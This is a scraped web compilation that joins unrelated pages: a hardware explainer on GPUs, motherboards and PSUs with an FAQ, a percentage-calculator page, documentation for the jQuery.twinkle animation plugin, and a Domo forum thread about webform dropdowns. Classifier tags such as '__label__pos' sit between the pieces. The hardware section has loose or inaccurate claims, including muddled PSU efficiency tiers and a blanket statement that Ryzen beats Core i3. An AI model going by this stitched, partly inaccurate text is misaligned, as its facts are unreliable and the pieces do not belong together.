static GCRegistry::Add< StatepointGC > D("statepoint-example", "an example strategy for statepoint")
static GCRegistry::Add< CoreCLRGC > E("coreclr", "CoreCLR-compatible GC")
uint64_t Size
#define F(x, y, z)
Definition: MD5.cpp:55
#define P(N)
Profile::FuncID FuncId
Definition: Profile.cpp:321
Lightweight error class with error context and mandatory checking.
Definition: Error.h:160
StringRef - Represent a constant reference to a string, i.e.
Definition: StringRef.h:50
Error apply(RecordVisitor &V) override
Definition: FDRRecords.cpp:18
uint64_t size() const
Definition: FDRRecords.h:124
static bool classof(const Record *R)
Definition: FDRRecords.h:128
static bool classof(const Record *R)
Definition: FDRRecords.h:308
Error apply(RecordVisitor &V) override
Definition: FDRRecords.cpp:23
uint64_t arg() const
Definition: FDRRecords.h:304
Error apply(RecordVisitor &V) override
Definition: FDRRecords.cpp:28
static bool classof(const Record *R)
Definition: FDRRecords.h:257
CustomEventRecordV5(int32_t S, int32_t D, std::string P)
Definition: FDRRecords.h:246
static bool classof(const Record *R)
Definition: FDRRecords.h:230
StringRef data() const
Definition: FDRRecords.h:226
Error apply(RecordVisitor &V) override
Definition: FDRRecords.cpp:22
CustomEventRecord(uint64_t S, uint64_t T, uint16_t C, std::string D)
Definition: FDRRecords.h:218
Error apply(RecordVisitor &V) override
Definition: FDRRecords.cpp:26
static bool classof(const Record *R)
Definition: FDRRecords.h:367
RecordTypes recordType() const
Definition: FDRRecords.h:388
uint32_t delta() const
Definition: FDRRecords.h:390
int32_t functionId() const
Definition: FDRRecords.h:389
Error apply(RecordVisitor &V) override
Definition: FDRRecords.cpp:27
FunctionRecord(RecordTypes K, int32_t F, uint32_t D)
Definition: FDRRecords.h:383
static bool classof(const Record *R)
Definition: FDRRecords.h:394
MetadataRecord(RecordKind T, MetadataType M)
Definition: FDRRecords.h:95
MetadataType metadataType() const
Definition: FDRRecords.h:102
static constexpr int kMetadataBodySize
Definition: FDRRecords.h:88
static bool classof(const Record *R)
Definition: FDRRecords.h:97
virtual ~MetadataRecord()=default
Error apply(RecordVisitor &V) override
Definition: FDRRecords.cpp:25
static bool classof(const Record *R)
Definition: FDRRecords.h:354
uint64_t tsc() const
Definition: FDRRecords.h:175
uint16_t cpuid() const
Definition: FDRRecords.h:173
NewCPUIDRecord(uint16_t C, uint64_t T)
Definition: FDRRecords.h:168
static bool classof(const Record *R)
Definition: FDRRecords.h:179
Error apply(RecordVisitor &V) override
Definition: FDRRecords.cpp:20
static bool classof(const Record *R)
Definition: FDRRecords.h:331
Error apply(RecordVisitor &V) override
Definition: FDRRecords.cpp:24
int32_t pid() const
Definition: FDRRecords.h:327
PIDRecord(int32_t P)
Definition: FDRRecords.h:322
static constexpr uint16_t DefaultVersion
Definition: FDRRecords.h:424
Error visit(BufferExtents &) override
RecordInitializer(DataExtractor &DE, uint64_t &OP)
Definition: FDRRecords.h:429
RecordInitializer(DataExtractor &DE, uint64_t &OP, uint16_t V)
Definition: FDRRecords.h:426
virtual Error visit(TSCWrapRecord &)=0
virtual Error visit(CallArgRecord &)=0
virtual Error visit(TypedEventRecord &)=0
virtual Error visit(CustomEventRecord &)=0
virtual Error visit(PIDRecord &)=0
virtual Error visit(WallclockRecord &)=0
virtual Error visit(FunctionRecord &)=0
virtual Error visit(NewBufferRecord &)=0
virtual ~RecordVisitor()=default
virtual Error visit(BufferExtents &)=0
virtual Error visit(CustomEventRecordV5 &)=0
virtual Error visit(NewCPUIDRecord &)=0
virtual Error visit(EndBufferRecord &)=0
static StringRef kindToString(RecordKind K)
Definition: FDRRecords.cpp:31
Record(const Record &)=delete
virtual Error apply(RecordVisitor &V)=0
Record & operator=(Record &&)=delete
virtual ~Record()=default
RecordKind getRecordType() const
Definition: FDRRecords.h:62
Record(RecordKind T)
Definition: FDRRecords.h:60
Record & operator=(const Record &)=delete
Record(Record &&)=delete
uint64_t tsc() const
Definition: FDRRecords.h:197
static bool classof(const Record *R)
Definition: FDRRecords.h:201
Error apply(RecordVisitor &V) override
Definition: FDRRecords.cpp:21
TypedEventRecord(int32_t S, int32_t D, uint16_t E, std::string P)
Definition: FDRRecords.h:274
static bool classof(const Record *R)
Definition: FDRRecords.h:286
StringRef data() const
Definition: FDRRecords.h:282
Error apply(RecordVisitor &V) override
Definition: FDRRecords.cpp:29
uint16_t eventType() const
Definition: FDRRecords.h:281
uint64_t seconds() const
Definition: FDRRecords.h:148
uint32_t nanos() const
Definition: FDRRecords.h:149
static bool classof(const Record *R)
Definition: FDRRecords.h:153
WallclockRecord(uint64_t S, uint32_t N)
Definition: FDRRecords.h:143
Error apply(RecordVisitor &V) override
Definition: FDRRecords.cpp:19
@ C
The default llvm calling convention, compatible with C.
Definition: CallingConv.h:34
RecordTypes
Determines the supported types of records that could be seen in XRay traces.
Definition: XRayRecord.h:57
This is an optimization pass for GlobalISel generic memory operations.
Definition: AddressRanges.h:18
OutputIt move(R &&Range, OutputIt Out)
Provide wrappers to std::move which take ranges instead of having to pass begin/end explicitly.
Definition: STLExtras.h:1849
Implement std::hash so that hash_code can be used in STL containers.
Definition: BitVector.h:858
#define N
#define OP(n)
Definition: regex2.h:73
|
__label__pos
| 0.869487 |
[Spice-devel] [RFC 11/33] qxl_driver: fix three incompatible pointer passed warnings
Alon Levy alevy at redhat.com
Wed Apr 27 08:56:00 PDT 2011
---
src/qxl_driver.c | 8 ++++----
1 files changed, 4 insertions(+), 4 deletions(-)
diff --git a/src/qxl_driver.c b/src/qxl_driver.c
index ff6fe97..18050fb 100644
--- a/src/qxl_driver.c
+++ b/src/qxl_driver.c
@@ -906,14 +906,14 @@ qxl_screen_init(int scrnIndex, ScreenPtr pScreen, int argc, char **argv)
qxl->io_pages = (void *)((unsigned long)qxl->ram);
qxl->io_pages_physical = (void *)((unsigned long)qxl->ram_physical);
-
- qxl->command_ring = qxl_ring_create (&(ram_header->cmd_ring),
+
+ qxl->command_ring = qxl_ring_create ((struct qxl_ring_header *)&(ram_header->cmd_ring),
sizeof (struct QXLCommand),
QXL_COMMAND_RING_SIZE, QXL_IO_NOTIFY_CMD, qxl);
- qxl->cursor_ring = qxl_ring_create (&(ram_header->cursor_ring),
+ qxl->cursor_ring = qxl_ring_create ((struct qxl_ring_header *)&(ram_header->cursor_ring),
sizeof (struct QXLCommand),
QXL_CURSOR_RING_SIZE, QXL_IO_NOTIFY_CURSOR, qxl);
- qxl->release_ring = qxl_ring_create (&(ram_header->release_ring),
+ qxl->release_ring = qxl_ring_create ((struct qxl_ring_header *)&(ram_header->release_ring),
sizeof (uint64_t),
QXL_RELEASE_RING_SIZE, 0, qxl);
--
1.7.4.4
More information about the Spice-devel mailing list
|
__label__pos
| 0.574229 |
Tomo asks about whether the iPod has built-in support for marking particular locations within a song.
Here’s the use case: her hula group needs to practice different parts of a song repeatedly, and in whatever order feels most productive for the rehearsal. This means quickly switching to different points in a song: beginning of first verse, beginning of second verse, etc.
I know the iPod remote control can do a simple fast forward or reverse, but this doesn’t seem nearly as slick as being able to do one click (or two or three perhaps) to get to exactly the place where you want to get.
I suppose one could split a particular track up into many songs, so the iPod thinks of a four-minute song as a dozen twenty second songs, but that seems like overkill. Anyone have a good suggestion?
Advertisements
|
__label__pos
| 0.927778 |
Post a New Question
Calc.
posted by on .
Evaluate the definite integral.
S b= sqrt(Pi) a= 0 xcos(x^2)dx
I'm not sure if this is right?
u= x^2
du= 2xdx
du/2= xdx
S (1/2)cos(u)
S (1/2)*sin(x^2)
[0.5 * sin(sqrt(Pi))^2] - [0.5 * sin(0)^2]
0 - 0 = 0, so zero is the answer?
• Calc. - ,
S b= sqrt(Pi) a= 0 xcos(x^2)dx
What is "S b = sqrt(Pi) a= 0"
What are you integrating?
Is it this?
x cos(x^2) dx ?
from a = 0 to b = (sqrt(pi))?
• Calc. - ,
S is supposed to be the integral symbol and b is the upper bound and a is the lower bound. Yes, xcos(x^2) dx is it.
• Calc. - ,
| x cos(x^2) dx
| = integral symbol
By half-angle cos^2 x = 1/2 (1 + cos 2x)
| x 1/2 (1 + cos 2x) dx
1/2 | x + x cos 2x dx
1/2 | x dx + 1/2 | x cos 2x dx
1/4 x^2 + 1/2 | x cos 2x dx
Integrate | x cos 2x dx by Integration by Parts
u = x, dv = cos 2x dx
du = dx, v = 1/2 sin 2x
1/4 x^2 + 1/2 (1/2 x sin 2x - | 1/2 sin 2x dx )
1/4 x^2 + 1/4x sin 2x - 1/4 |sin 2x dx)
u = 2x
du = 2 dx
1/2 du = dx
1/4 x^2 + 1/4x sin 2x - 1/4 |1/2 sin u du
1/4 x^2 + 1/4x sin 2x - 1/8 | sin u du
1/4 x^2 + 1/4x sin 2x - 1/8 (-cos u)+ C
1/4 x^2 + 1/4x sin 2x + 1/8 cos u + C
1/4 x^2 + 1/4x sin 2x + 1/8 cos 2x + C
You can't do it like you did above because
'cos^2 x' does not mean just the 'x' is squared.
cos^2 x means (cos x)^2
I did not do the a to b part. check back if you need help with that part.
Good Luck!
• Calc. - ,
| x cos(x^2) dx
The first line should be
| x cos^2 x
I forgot to change it.
• Calc. - ,
But the x is the only thing being squared I thought because it is within parentheses and then multiplied by xcos dx?
• Calc. - ,
After all that, I confused myself and did the wrong problem I think.
IF your problem is
|x cos(x^2) dx
just like your 2nd reply says, ignore the above.
I wrote down | x cos (x^2) but integrated
| x cos^2 x dx
So, your very first post IS correct if it is cos x^2 and not cos^2 x.
BIG difference in the integration!!
Well, now you know how to integrate x cos^2 x if you have to in the future.
Answer This Question
First Name:
School Subject:
Answer:
Related Questions
More Related Questions
Post a New Question
|
__label__pos
| 0.99974 |
Did I find the right examples for you? yes no Crawl my project Python Jobs
All Samples(4) | Call(2) | Derive(0) | Import(2)
Find a maximum cardinality matching in a graph G.
G is represented in modified GvR form: iter(G) lists its vertices;
iter(G[v]) lists the neighbors of v; w in G[v] tests adjacency.
For maximal efficiency, G and G[v] should be dictionaries, so
that adjacency tests take constant time each.
The output is a dictionary mapping vertices to their matches;
unmatched vertices are omitted from the dictionary.
We use Edmonds' blossom-contraction algorithm, as described e.g.
in Galil's 1986 Computing Surveys paper.
def matching(G, initialMatching = None):
"""Find a maximum cardinality matching in a graph G.
G is represented in modified GvR form: iter(G) lists its vertices;
iter(G[v]) lists the neighbors of v; w in G[v] tests adjacency.
For maximal efficiency, G and G[v] should be dictionaries, so
that adjacency tests take constant time each.
The output is a dictionary mapping vertices to their matches;
unmatched vertices are omitted from the dictionary.
We use Edmonds' blossom-contraction algorithm, as described e.g.
in Galil's 1986 Computing Surveys paper.
"""
# Copy initial matching so we can use it nondestructively
# and augment it greedily to reduce main loop iterations
matching = greedyMatching(G,initialMatching)
def augment():
"""Search for a single augmenting path.
Returns true if the matching size was increased, false otherwise.
"""
# Data structures for augmenting path search:
#
# leader: union-find structure; the leader of a blossom is one
# of its vertices (not necessarily topmost), and leader[v] always
# points to the leader of the largest blossom containing v
#
# S: dictionary of blossoms at even levels of the structure tree.
# Dictionary keys are names of blossoms (as returned by the union-find
# data structure) and values are the structure tree parent of the blossom
# (a T-node, or the top vertex if the blossom is a root of a structure tree).
#
# T: dictionary of vertices at odd levels of the structure tree.
# Dictionary keys are the vertices; T[x] is a vertex with an unmatched
# edge to x. To find the parent in the structure tree, use leader[T[x]].
#
# unexplored: collection of unexplored vertices within blossoms of S
#
# base: if x was originally a T-vertex, but becomes part of a blossom,
# base[t] will be the pair (v,w) at the base of the blossom, where v and t
# are on the same side of the blossom and w is on the other side.
leader = UnionFind()
S = {}
T = {}
unexplored = []
base = {}
# Subroutines for augmenting path search.
# Many of these are called only from one place, but are split out
# as subroutines to improve modularization and readability.
def blossom(v,w,a):
"""Create a new blossom from edge v-w with common ancestor a."""
def findSide(v,w):
path = [leader[v]]
b = (v,w) # new base for all T nodes found on the path
while path[-1] != a:
tnode = S[path[-1]]
path.append(tnode)
base[tnode] = b
unexplored.append(tnode)
path.append(leader[T[tnode]])
return path
a = leader[a] # sanity check
path1,path2 = findSide(v,w), findSide(w,v)
leader.union(*path1)
leader.union(*path2)
S[leader[a]] = S[a] # update structure tree
topless = object() # should be unequal to any graph vertex
def alternatingPath(start, goal = topless):
"""Return sequence of vertices on alternating path from start to goal.
The goal must be a T node along the path from the start to
the root of the structure tree. If goal is omitted, we find
an alternating path to the structure tree root.
"""
path = []
while 1:
while start in T:
v, w = base[start]
vs = alternatingPath(v, start)
vs.reverse()
path += vs
start = w
path.append(start)
if start not in matching:
return path # reached top of structure tree, done!
tnode = matching[start]
path.append(tnode)
if tnode == goal:
return path # finished recursive subpath
start = T[tnode]
def alternate(v):
"""Make v unmatched by alternating the path to the root of its structure tree."""
path = alternatingPath(v)
path.reverse()
for i in range(0,len(path)-1,2):
matching[path[i]] = path[i+1]
matching[path[i+1]] = path[i]
def addMatch(v, w):
"""Here with an S-S edge vw connecting vertices in different structure trees.
Find the corresponding augmenting path and use it to augment the matching.
"""
alternate(v)
alternate(w)
matching[v] = w
matching[w] = v
def ss(v,w):
"""Handle detection of an S-S edge in augmenting path search.
Like augment(), returns true iff the matching size was increased.
"""
if leader[v] == leader[w]:
return False # self-loop within blossom, ignore
# parallel search up two branches of structure tree
# until we find a common ancestor of v and w
path1, head1 = {}, v
path2, head2 = {}, w
def step(path, head):
head = leader[head]
parent = leader[S[head]]
if parent == head:
return head # found root of structure tree
path[head] = parent
path[parent] = leader[T[parent]]
return path[parent]
while 1:
head1 = step(path1, head1)
head2 = step(path2, head2)
if head1 == head2:
blossom(v, w, head1)
return False
if leader[S[head1]] == head1 and leader[S[head2]] == head2:
addMatch(v, w)
return True
if head1 in path2:
blossom(v, w, head1)
return False
if head2 in path1:
blossom(v, w, head2)
return False
# Start of main augmenting path search code.
for v in G:
if v not in matching:
S[v] = v
unexplored.append(v)
current = 0 # index into unexplored, in FIFO order so we get short paths
while current < len(unexplored):
v = unexplored[current]
current += 1
for w in G[v]:
if leader[w] in S: # S-S edge: blossom or augmenting path
if ss(v,w):
return True
elif w not in T: # previously unexplored node, add as T-node
T[w] = v
u = matching[w]
if leader[u] not in S:
S[u] = w # and add its match as an S-node
unexplored.append(u)
return False # ran out of graph without finding an augmenting path
# augment the matching until it is maximum
while augment():
pass
return matching
src/p/y/pystream-HEAD/lib/PADS/CubicHam.py pystream(Download)
from Graphs import *
from Biconnectivity import isBiconnected
from CardinalityMatching import matching
from Util import arbitrary_item, map_to_constant
if v not in unforced or previous_matching[v] not in unforced[v]:
del previous_matching[v]
M = matching(unforced, previous_matching)
previous_matching.clear()
previous_matching.update(M)
src/p/a/PADS-0.0.20131119/pads/CubicHam.py PADS(Download)
from Graphs import *
from Biconnectivity import isBiconnected
from CardinalityMatching import matching
from Util import arbitrary_item, map_to_constant
if v not in unforced or previous_matching[v] not in unforced[v]:
del previous_matching[v]
M = matching(unforced, previous_matching)
previous_matching.clear()
previous_matching.update(M)
|
__label__pos
| 0.9074 |
How to Tell If a File Is Infected Before You Open It
You weren't expecting the email attachment you just received. Or a website is asking you to install software you don't recognize. Or a friend whose computer is infected hands you a flash drive with a file he wants you to open. Your instincts are right: If you are unsure about a file, don't download it or open it before you do some detective work. It takes less time to check a suspicious file than it does to clean up the contamination it can cause. This guide shows you the steps to take to protect yourself.
Rely on Your Software
Your security software (antivirus or anti-malware program) most likely has the ability to check a file before you open it (or even before you transfer it from physical media to your computer). Here's how to do it:
1. View the file's icon in a window.
2. Right-click the icon to bring up a contextual menu.
3. Your security software may have a menu entry labeled Scan file or something similar. Click the entry to initiate a scan.
If your security software does not provide a contextual menu option, open the security software's control panel and navigate to the scan section. Here, you will be able to select specific targets (files) to scan (sometimes this option is listed in an Advanced Options menu).
Internet Research
In cases where you aren't able to scan a suspect file with your security software-when a website is trying to install something, for instance-follow these steps:
1. Gather as many details as you can about the suspicious software. Record the name of the software as well as the name of the website you were on when it popped up.
2. Search the Internet for the name of the software first. The legitimacy and safety of the software will usually become apparent after you read the first few results. If it is still unclear, search again for the name and add terms like "malware," "safe," or "remove." Also check the reputation of the website that asked you to accept the software. If you remain unsure, stay away.
Keep Software Updated
1. The latest versions of Web browsers are able to screen downloads, warn you of harmful programs, and block recently discovered malware.
2. Most email programs scan attachments for infections before you download them. Pay attention to these scans.
Subscribe to the Security Watch Newsletter
Add Your Comment
user avatar
|
__label__pos
| 0.543865 |
ICANN/DNSO
DNSO Mailling lists archives
[ga-full]
<<< Chronological Index >>> <<< Thread Index >>>
[ga] WG-Deletion
Perhaps we can write some probing questions that they may not answer;
What are your technical problems?
What causes such significant delays in your deletion situation?
I already have a grabber program, why should you profit off of one?
-------
Or maybe we should ask some more policy oriented questions?
If a name is deleted why would you possibly have a right to resell it?
(see definition of deletion)
This is way outside the White paper why do you claim any right?
-----
Or maybe we should look for prophylactic questions?
Does a new taker have first right over an existing holder for your
service?
Are you going to have a sunrise period on this new service?
_________
Yes I know they may sound silly, but they are a start!
Eric
--
This message was passed to you via the [email protected] list.
Send mail to [email protected] to unsubscribe
("unsubscribe ga-full" in the body of the message).
Archives at http://www.dnso.org/archives.html
<<< Chronological Index >>> <<< Thread Index >>>
|
__label__pos
| 0.993787 |
June 23, 2024
Are you wondering what makes a computer powerful? The answer lies in its hardware specifications. From the processor to the memory and storage, each component plays a crucial role in determining a computer’s overall performance. In this article, we will explore the key hardware specifications that affect a computer’s power and how they work together to deliver a seamless user experience. So, buckle up and get ready to dive into the world of computer hardware and discover what makes a computer tick.
The Importance of Hardware Specifications
Understanding the Basics of Computer Performance
In order to understand the role of hardware specifications in determining a computer’s power, it is essential to first understand the basics of computer performance. There are several key factors that contribute to a computer’s overall performance, including processing speed, memory capacity, storage capacity, and graphics capabilities.
Processing speed, also known as clock speed or clock rate, refers to the number of cycles per second that a computer’s processor can perform. This measurement is typically expressed in gigahertz (GHz) and is a good indicator of how quickly a computer can execute instructions. A higher clock speed generally means that a computer will be able to perform tasks more quickly and efficiently.
Memory capacity, on the other hand, refers to the amount of data that a computer can store and access at any given time. This is measured in bytes and is typically expressed in gigabytes (GB). A computer with more memory can handle more complex tasks and run more programs simultaneously without experiencing slowdowns or crashes.
Storage capacity, also known as storage space or storage size, refers to the amount of data that a computer can store permanently. This is also measured in bytes and is typically expressed in gigabytes (GB) or terabytes (TB). A computer with more storage capacity can store more files, documents, and other data, making it more suitable for tasks that require large amounts of data storage.
Finally, graphics capabilities refer to a computer’s ability to display high-quality images and videos. This is determined by the graphics processing unit (GPU) and the amount of video memory (VRAM) available. A computer with a powerful GPU and ample VRAM will be able to handle graphics-intensive tasks such as gaming, video editing, and 3D modeling more effectively.
Overall, understanding the basics of computer performance is crucial for determining the appropriate hardware specifications for a given task or application. By considering factors such as processing speed, memory capacity, storage capacity, and graphics capabilities, users can make informed decisions about the hardware that will best meet their needs.
Factors Affecting Computer Performance
• Processor Speed: The speed of the processor, measured in GHz (gigahertz), directly affects the computer’s performance. A higher GHz rating indicates a faster processor, which can handle more tasks simultaneously and complete them more quickly.
• Memory (RAM): The amount of RAM (Random Access Memory) determines the number of programs and applications that can run simultaneously on the computer. A computer with more RAM can handle more tasks at once, improving overall performance.
• Storage Capacity: The storage capacity of a computer, measured in GB (gigabytes), determines how much data the computer can store and access. A computer with more storage capacity can handle larger files and more data, making it more efficient for tasks such as video editing, graphic design, and gaming.
• GPU (Graphics Processing Unit): The GPU is responsible for rendering images and graphics on the computer screen. A computer with a powerful GPU can handle more demanding graphics tasks, such as gaming, video editing, and 3D modeling, with greater ease.
• Cooling System: The cooling system, which includes fans and heat sinks, is essential for maintaining the stability and longevity of the computer’s components. A computer with an efficient cooling system can run for longer periods at maximum performance without overheating, which can cause damage to the components.
• Operating System: The operating system (OS) is the software that manages the computer’s hardware resources and provides a user interface. The choice of OS can significantly impact the computer’s performance, with some OSs being more optimized for specific types of tasks or hardware configurations.
• Power Supply Unit (PSU): The PSU is responsible for supplying power to the computer’s components. A PSU with a higher wattage can provide more power to the components, allowing them to run at higher speeds and perform more demanding tasks.
These factors all play a role in determining the overall performance of a computer. By understanding how each of these factors affects performance, you can make informed decisions when selecting hardware components and optimizing your computer’s performance.
Central Processing Unit (CPU)
Key takeaway: To understand the hardware specifications that determine a computer’s power, it is essential to understand the basics of computer performance, including processing speed, memory capacity, storage capacity, and graphics capabilities. The CPU, RAM, storage, and GPU are all crucial components that can significantly impact a computer’s overall performance. Additionally, other factors such as the PSU and motherboard can also play a role in determining a computer’s power. By understanding these factors, users can make informed decisions when selecting hardware components and optimizing their computer’s performance.
Overview of CPU
The Central Processing Unit (CPU) is the brain of a computer, responsible for executing instructions and performing calculations. It is a complex electronic circuit that consists of multiple components, including the arithmetic logic unit (ALU), control unit, and registers. The CPU is responsible for fetching instructions from memory, decoding them, and executing them. It also controls the flow of data between the different components of the computer.
The CPU is typically made up of two parts: the processor and the motherboard. The processor is the physical chip that contains the CPU’s circuitry, while the motherboard is the main circuit board that connects all the components of the computer. The processor is connected to the motherboard through a socket, which allows it to be installed or removed from the computer.
The CPU’s clock speed, or frequency, is measured in hertz (Hz) and is typically measured in gigahertz (GHz). The clock speed determines how many instructions the CPU can execute per second, with higher clock speeds resulting in faster processing. However, clock speed is not the only factor that determines a CPU’s performance, as other factors such as the number of cores and the size of the cache can also impact performance.
Overall, the CPU is a critical component of a computer’s performance, and understanding its specifications can help users make informed decisions when selecting a computer or upgrading their existing system.
Factors Affecting CPU Performance
The performance of a computer’s CPU is determined by several factors, including the number of cores, clock speed, cache size, and architecture.
1. Number of Cores: The number of cores in a CPU determines how many tasks it can perform simultaneously. A higher number of cores allows for better multitasking and can improve overall performance.
2. Clock Speed: The clock speed of a CPU, measured in GHz (gigahertz), determines how fast it can process information. A higher clock speed means that the CPU can complete more instructions per second, resulting in faster performance.
3. Cache Size: The cache is a small amount of memory that stores frequently used data, allowing the CPU to access it quickly. A larger cache size can improve performance by reducing the number of times the CPU has to access the main memory.
4. Architecture: The architecture of a CPU determines how it performs calculations and handles data. Different architectures have different strengths and weaknesses, and some are better suited for certain types of tasks.
In summary, the performance of a CPU is determined by a combination of factors, including the number of cores, clock speed, cache size, and architecture. Understanding these factors can help you choose the right CPU for your specific needs and ensure that your computer is as powerful as it can be.
Types of CPU
When it comes to CPUs, there are two main types:
1. RISC (Reduced Instruction Set Computing): RISC CPUs are designed to execute a smaller set of instructions faster. They are optimized for a specific set of operations, which makes them very efficient for certain types of tasks. RISC CPUs have a smaller number of transistors and are therefore less complex than CISC CPUs.
2. CISC (Complex Instruction Set Computing): CISC CPUs have a larger set of instructions that they can execute, which makes them more versatile than RISC CPUs. They can perform a wider range of operations, which makes them well-suited for tasks that require more complex processing. CISC CPUs have a larger number of transistors and are therefore more complex than RISC CPUs.
It’s important to note that while RISC CPUs are generally faster for certain types of tasks, CISC CPUs are more versatile and can handle a wider range of tasks. The choice between RISC and CISC CPUs depends on the specific needs of the user and the type of tasks they will be performing.
Random Access Memory (RAM)
Overview of RAM
Random Access Memory (RAM) is a type of computer memory that can be accessed randomly, meaning that any data can be accessed without following a specific sequence. This makes RAM an essential component for a computer’s performance, as it stores data that is currently being used by the CPU. The amount of RAM in a computer can have a significant impact on its overall performance, and understanding the basics of RAM can help you make informed decisions when choosing hardware for your computer.
There are two main types of RAM: dynamic random access memory (DRAM) and static random access memory (SRAM). DRAM is the most common type of RAM, and it is used in most computers. It is called “dynamic” because it must be constantly refreshed by the computer’s memory controller to prevent data loss. SRAM, on the other hand, does not need to be refreshed and is generally faster than DRAM, but it is also more expensive.
The size of RAM is typically measured in gigabytes (GB) or megabytes (MB). The amount of RAM in a computer can range from just a few hundred MB to several GB. The more RAM a computer has, the more data it can store and the faster it can access that data. This means that a computer with more RAM can perform tasks more quickly and efficiently than a computer with less RAM.
Another important aspect of RAM is its speed, which is typically measured in megahertz (MHz). The speed of RAM affects how quickly data can be accessed and processed by the CPU. A computer with faster RAM will generally perform better than a computer with slower RAM, especially when running demanding applications or multitasking.
Overall, understanding the basics of RAM is essential for anyone who wants to build or upgrade their computer. By selecting the right amount and speed of RAM, you can ensure that your computer is capable of performing at its best.
Factors Affecting RAM Performance
RAM, or Random Access Memory, is a crucial component of a computer’s hardware that determines its performance. It is a type of memory that can be accessed randomly, meaning that any byte of memory can be accessed without accessing the previous bytes. RAM performance is affected by several factors, including:
• Type of RAM: The type of RAM used in a computer can affect its performance. The two main types of RAM are DDR3 and DDR4. DDR4 is generally faster and more efficient than DDR3, but it is also more expensive.
• Amount of RAM: The amount of RAM installed in a computer can also affect its performance. The more RAM a computer has, the more programs it can run simultaneously without slowing down. However, adding more RAM may not always result in significant performance improvements if the motherboard and processor cannot keep up.
• Speed of RAM: The speed of RAM is measured in MHz (megahertz) and affects how quickly the computer can access data. Higher speed RAM can improve the computer’s overall performance, especially when running resource-intensive programs.
• Dual-channel vs. single-channel: Dual-channel RAM allows the computer to access two memory modules simultaneously, which can improve performance. Single-channel RAM can only access one module at a time, which can slow down the computer.
• Virtual memory: Virtual memory is a feature of the operating system that allows the computer to use the hard drive as if it were RAM. While this can help improve performance, it can also slow down the computer if the hard drive is not fast enough.
Understanding these factors can help you make informed decisions when choosing RAM for your computer and optimizing its performance.
Types of RAM
When it comes to the types of RAM, there are two main categories: Dynamic Random Access Memory (DRAM) and Static Random Access Memory (SRAM).
DRAM is the most commonly used type of RAM in computers today. It is called “dynamic” because it stores each bit of data in a separate transistor and must be refreshed frequently to prevent data loss. DRAM is less expensive than SRAM, making it the preferred choice for most applications.
On the other hand, SRAM is faster and more expensive than DRAM. It stores each bit of data in a flip-flop, which is a circuit that can store a single bit of data without the need for refreshing. This makes SRAM more reliable than DRAM, but it is also more expensive.
Another type of RAM is the Read-Only Memory (ROM), which is a type of non-volatile memory that is used to store permanent data such as the computer’s BIOS. ROM is not directly accessible by the CPU and cannot be modified by the user.
Finally, there is a type of RAM called Cache Memory, which is a small amount of high-speed memory that is used to store frequently accessed data. Cache memory is much faster than other types of RAM, but it is also more expensive.
Overall, understanding the different types of RAM is important when selecting the right hardware for your computer. Different applications require different amounts of RAM, and choosing the right type of RAM can help ensure that your computer runs smoothly and efficiently.
Storage
Overview of Storage
When it comes to determining a computer’s power, the storage specifications play a crucial role. Storage refers to the space available on a computer’s hard drive or solid-state drive (SSD) to store data, files, and programs. The amount of storage available can affect the speed and performance of a computer, especially when running resource-intensive applications or multitasking.
There are two main types of storage: hard disk drives (HDD) and solid-state drives (SSD). HDDs are traditional spinning disk drives that store data on magnetic surfaces, while SSDs use flash memory to store data. SSDs are faster and more reliable than HDDs, but they tend to be more expensive.
The capacity of storage is typically measured in gigabytes (GB) or terabytes (TB). One GB is equal to 1,000 megabytes (MB), and one TB is equal to 1,000 GB. The more storage a computer has, the more data it can store, but it is important to note that storage capacity is not the only factor that affects performance. The speed of the storage device, known as the transfer rate, also plays a significant role in determining a computer’s power.
In addition to the type and capacity of storage, it is also important to consider the interface or connection that the storage device uses. Common storage interfaces include SATA (Serial ATA), PCIe (Peripheral Component Interconnect Express), and NVMe (Non-Volatile Memory Express). Each interface has its own performance characteristics, and the choice of interface can impact the overall performance of the computer.
Overall, understanding the storage specifications of a computer is crucial for determining its power and performance. Whether you are building a new computer or upgrading an existing one, considering the type, capacity, and interface of the storage device can make a significant difference in the speed and reliability of your system.
Factors Affecting Storage Performance
The performance of a computer’s storage system is determined by several factors. Understanding these factors can help users make informed decisions when selecting a storage solution for their computer. The following are some of the key factors that affect storage performance:
1. Capacity: The capacity of a storage device refers to the amount of data it can store. Generally, storage devices with higher capacities are faster than those with lower capacities. This is because higher capacity storage devices can read and write data more quickly, resulting in faster performance.
2. Type: The type of storage device also affects performance. For example, solid-state drives (SSDs) are generally faster than traditional hard disk drives (HDDs) because they use flash memory to store data. This means that SSDs can access data more quickly than HDDs, resulting in faster performance.
3. Interface: The interface of a storage device is another important factor that affects performance. For example, a storage device with a faster interface, such as Thunderbolt 3, will generally perform better than one with a slower interface, such as USB 2.0. This is because the faster interface allows for faster data transfer rates, resulting in faster performance.
4. Access Time: Access time is the amount of time it takes for a storage device to retrieve data. Storage devices with faster access times, such as SSDs, will generally perform better than those with slower access times, such as HDDs. This is because faster access times mean that data can be retrieved more quickly, resulting in faster performance.
5. Caching: Caching is a technique used to improve storage performance by temporarily storing frequently accessed data in a faster, more accessible location. For example, a storage device may use a cache to store frequently accessed data in RAM, which is faster than the storage device itself. This can help improve performance by reducing the amount of time it takes to access frequently used data.
Types of Storage
When it comes to a computer’s storage, there are several different types to choose from. These include:
1. Hard Disk Drives (HDD): These are the traditional spinning disk storage devices that have been around for decades. They are reliable and cost-effective, but they are also slower than newer storage technologies.
2. Solid State Drives (SSD): These are newer storage devices that use flash memory to store data. They are much faster than HDDs and have no moving parts, making them more durable and reliable.
3. Hybrid Drives: These are a combination of HDD and SSD technologies. They have a large HDD for storing most of the data and a small SSD for caching frequently used files.
4. External Storage Devices: These are devices that can be connected to a computer to provide additional storage space. Examples include USB drives, external hard drives, and network-attached storage (NAS) devices.
5. Cloud Storage: This is a type of storage that allows users to store their data on remote servers that can be accessed over the internet. This type of storage is convenient and offers a lot of storage space, but it can also be slower and less secure than local storage.
Understanding the different types of storage available can help you choose the best option for your needs and budget.
Graphics Processing Unit (GPU)
Overview of GPU
The Graphics Processing Unit (GPU) is a specialized electronic circuit designed to rapidly manipulate and alter memory to accelerate the creation of images in a frame buffer intended for output to a display device. It is often referred to as the “visual processing unit” and is used to perform complex mathematical calculations to render images, videos, and 3D models. The GPU is a critical component in modern computers, particularly those used for gaming, video editing, and other graphics-intensive applications.
Factors Affecting GPU Performance
When it comes to the performance of a Graphics Processing Unit (GPU), several factors come into play. Understanding these factors can help you make informed decisions when selecting a GPU for your computer.
